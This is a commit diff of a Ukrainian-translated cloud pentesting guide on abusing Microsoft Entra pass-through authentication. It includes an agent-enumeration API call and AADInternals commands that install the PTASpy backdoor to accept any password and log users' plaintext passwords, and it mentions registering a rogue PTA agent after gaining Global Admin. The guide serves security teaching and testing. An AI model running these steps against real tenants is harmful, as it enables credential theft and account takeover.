Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:12 +00:00
parent db5d5166d0
commit feae80ffe0
@@ -4,9 +4,9 @@
## Основна інформація
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication дозволяє вашим користувачам **увійти в якості на локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує кращий досвід для ваших користувачів - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять за допомогою Azure AD, ця функція **перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory**.
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує кращий досвід для ваших користувачів - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory.
У PTA **ідентичності** **синхронізуються**, але **паролі** **ні** як у PHS.
У PTA **ідентичності** **синхронізуються**, але **паролі не** так, як у PHS.
Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через **агента аутентифікації**, що працює на **локальному сервері** (не обов'язково на локальному DC).
@@ -20,22 +20,56 @@
4. **Агент** **перевіряє** облікові дані проти **локального AD** і надсилає **відповідь** **назад** до Azure AD, яка, якщо відповідь позитивна, **завершує вхід** користувача.
> [!WARNING]
> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **незахищеному** вигляді).\
> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **відкритому тексті**).\
> Він також може **перевірити будь-які облікові дані** до AzureAD (схожий напад на Skeleton key).
### On-Prem -> cloud
### Перерахування
Якщо у вас є **адміністративний** доступ до **сервера Azure AD Connect** з працюючим **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставки бекдору**, який **перевірятиме ВСІ паролі**, введені (так що всі паролі будуть дійсними для аутентифікації):
З Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Перевірте, чи агент працює на локальному сервері:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Якщо у вас є **адміністраторський** доступ до **сервера Azure AD Connect** з запущеним **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, що вводяться (так що всі паролі будуть дійсними для аутентифікації):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Якщо **встановлення не вдалося**, це, ймовірно, через відсутність [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Також можливо **побачити паролі в чистому вигляді, надіслані агенту PTA**, використовуючи наступний cmdlet на машині, де був встановлений попередній бекдор:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Ця бекдор програма буде:
- Створити приховану папку `C:\PTASpy`
@@ -43,22 +77,20 @@ Get-AADIntPTASpyLog -DecodePasswords
- Впровадити `PTASpy.dll` у процес `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy "вивантажується" і його потрібно повторно встановити.
### Хмара -> На місці
> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy "вивантажується" і повинна бути повторно встановлена.
> [!CAUTION]
> Після отримання **GA привілеїв** у хмарі, можливо **зареєструвати новий PTA агент**, налаштувавши його на **машині, контрольованій зловмисником**. Після налаштування агента, ми можемо **повторити** **попередні** кроки для **автентифікації за допомогою будь-якого пароля** і також, **отримати паролі у відкритому тексті.**
> Після отримання **GA привілеїв** у хмарі, можливо **зареєструвати новий PTA агент** і **повторити** **попередні** кроки для **автентифікації за допомогою будь-якого пароля** та також, **отримати паролі у відкритому тексті.**
### Безшовний SSO
### Seamless SSO
Можливо використовувати безшовний SSO з PTA, який вразливий до інших зловживань. Перевірте це в:
Можливо використовувати Seamless SSO з PTA, який вразливий до інших зловживань. Перевірте це в:
{{#ref}}
seamless-sso.md
{{#endref}}
## Посилання
## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)